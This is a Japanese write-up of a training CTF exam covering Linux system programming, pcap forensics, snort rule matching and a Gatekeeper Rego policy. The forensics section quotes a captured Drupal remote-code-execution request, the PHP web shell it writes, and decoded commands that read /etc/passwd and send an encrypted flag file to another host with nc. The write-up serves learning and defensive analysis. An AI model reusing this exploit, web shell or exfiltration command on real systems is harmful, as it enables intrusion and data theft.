セキュリティ・ミニキャンプ オンライン 2021 修了試験 writeup
セキュリティ・ミニキャンプ オンライン 2021 に参加し、修了試験のCTFに挑みました。結果、5問中4問正解することができました!
解けた問題
解いた順です。
- DAY3 Linuxシステムプログラミング
- DAY2 サイバー攻撃対応入門
- DAY2 マルウェアのトラフィックを分析・検知してみよう
- DAY3 コンテナセキュリティ
解けなかった問題
- DAY1 ファイルシステム
解けた問題
DAY3 Linuxシステムプログラミング
sshで接続できるLinuxマシンがあり、そのマシンに置かれた実行ファイル/try_running_me
を次の条件で起動せよという問題でした。
-
argv[0]
を空文字列""
にする - rootで起動する
argv[0]
を空文字列""
にする
argv[0]
は普通実行ファイルのパスが入ります。シンボリックリンクを張ればシンボリックのパスが入るので、はじめはそれを考えましたが、ファイル名を空にすることはできなさそうなのでやめました。事前学習資料を見直しているとexecve
システムコールでargv
をすべて指定できることがわかり、これを使ったCのプログラムを書いて実行したところ、argv[0]
を""
にできていることを伝えるメッセージが表示されました。
rootで起動する
とりあえずsudoを試しましたが、当然防がれていました。講義でユーザー権限で起動したコンテナの中でroot(っぽい何か)になる方法があったのを思い出し、当該部分のプログラムを抜き出したプログラムを作成しました。実行するとフラグを得ることができました。
競技終了後の解説でunshareというコマンドが紹介されていました。手元の環境で試してみると
$ unshare --map-root-user id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
となり、ちゃんとrootになっていて感動しました。
DAY2 サイバー攻撃対応入門
pcapファイルを分析して、サーバーから盗まれたデータを探す問題でした。
Wiresharkで開いて眺めていると192.168.180.175
へ/CHANGELOG.txt
を要求しているHTTPのGETリクエストを見つけました。応答を見ると、Drupal 7.54
というソフトウェアのようです。調べたところPHPで作られたCMSだそうです。ここからHTTPを使った攻撃を疑い、httpでフィルタしてみました。すると
POST /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=echo%20PD9waHAgaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsgc3lzdGVtKGJhc2U2NF9kZWNvZGUoc3RyX3JvdDEzKCRfUE9TVFsnYyddKSkpOyB9IA==%20|%20base64%20-d%20%3E%20create.php HTTP/1.1
という明らかに怪しい通信を見つけました。cyberchefでURLデコードしたところ
/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo PD9waHAgaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsgc3lzdGVtKGJhc2U2NF9kZWNvZGUoc3RyX3JvdDEzKCRfUE9TVFsnYyddKSkpOyB9IA== | base64 -d > create.php
と出力されました。明らかに何かをcreate.php
に書き込んでいます!含まれているBase64の文字列をデコードしてみると、PHPコードの断片らしきものが出てきました。
<?php if(isset($_POST['c'])){ system(base64_decode(str_rot13($_POST['c']))); }
POSTリクエストのc
キーで送られてきた文字列をrot13してbase64デコードしたものを実行するスクリプトのようです。
フィルタにhttp.request.method == POST
をセットして、c
キーが含まれるPOSTリクエストを探しました。すると3つのリクエストがみつかりました。送信していたデータは以下の通り
Form item: "c" = "L2S0VP9yqTZipTSmp3qxVN=="
Form item: "c" = "o3OyoaAmoPOuMKZgZwH2YJAvLlNgMFNgnJ4tMzkuMl50rUDtYJ91qPOzoTSaYzIhLlNgpTSmplOjLKAmBzAbLJ5aMI9ipUEco25sMI90o19xK2Mipy9xMJAlrKO0VN=="
Form item: "c" = "ozZtYKptZvNkBGVhZGL4YwR4ZP4kAwZtZGZmAlN8VTMfLJphMJ5w"
これをcyberchefでデコードしました。
cat /etc/passwd
openssl aes-256-cbc -e -in flag.txt -out flag.enc -pass pass:change_option_e_to_d_for_decrypt
nc -w 2 192.168.180.163 1337 < flag.enc
どうやら盗まれたファイルはflag.txt
で、これをopensslコマンドで暗号化してから'192.168.180.163'の'1337'番ポートに送信したようです。
ip.dst == 192.168.180.163 and tcp.port == 1337
でフィルタを掛けたところいくつか通信が表示されました。データがついているものは一つしかなかったのでこのデータを16進数でコピーしcyberchefで元に戻してダウンロードしたファイルをopenssl
コマンドで複合しました。
openssl aes-256-cbc -d -in flag.enc -out flag.txt -pass pass:change_option_e_to_d_for_decrypt
flag.txt
にフラグが出力され、フラグを得ることができました。
この問題を解くにあたってcyberchefに大いに助けられました。cyberchefはいいぞ!
DAY2 マルウェアのトラフィックを分析・検知してみよう
snortのルールにマッチするパケットを送信せよという問題でした。snortのルールを読んだところ、UDPかつ指定された文字列が含まれているものにマッチするようになっていたので、
echo "指定された文字列" | nc -u 指定されたip 指定されたport
を実行したところフラグがこちらに送られ、端末に表示されました。
DAY3 コンテナセキュリティ
コンテナのイメージの指定でダイジェスト(SHA-256 ハッシュ値)が使われていないものを拒否するGatekeeper用のポリシーをRegoで実装するという問題でした。KubernetesやGatekeeperをまだあまり理解できていなかったため後回しにしていたのですが、終了20分前ごろに大ヒントが追加され、正規表現を書ければ解けそうだったので取り組みました。
{image-name}@sha256:{ハッシュ値}
大ヒントで上記のような文字列以外にマッチしない正規表現を作ればよいことが分かりました。sha256のハッシュ値にマッチする正規表現をググったところ、[A-Fa-f0-9]{64}
を見つけたのでこれをありがたく使わせてもらいました。
一度目の提出は正規表現をubuntu@sha256:[A-Fa-f0-9]{64}
にしてimage-nameをubuntuで固定にしてしまっていたので不正解。二度目は.*@sha256:[A-Fa-f0-9]{64}
でimage-nameが空でもマッチしてしまい不正解。三度目の正直でフラグを得ることができました。この時、競技終了2分前でした。
最終的に提出したものはこちら。
package example
violation[{"msg": msg}] {
c := input.review.object.spec.containers[_]
not re_match(".+@sha256:[A-Fa-f0-9]{64}", c.image)
msg := "ダメです"
}
解けなかった問題
DAY1 ファイルシステム
sdカードのダンプファイルが与えられるので、それを分析してフラグを取り出す問題でした。
時間がかかりそうだったので後回しにし、結局時間が足りず戻ることはできませんでした。競技終了後の解説ではファイルをマウントして分析を進められていたのですが、そもそもファイルをマウントするという発想がなかったので時間があっても解けたかどうかは相当あやしいです。
感想
講義の内容が問題に反映されていて、よい復習になりました。とても楽しいCTFでした。ありがとうございました!
Discussion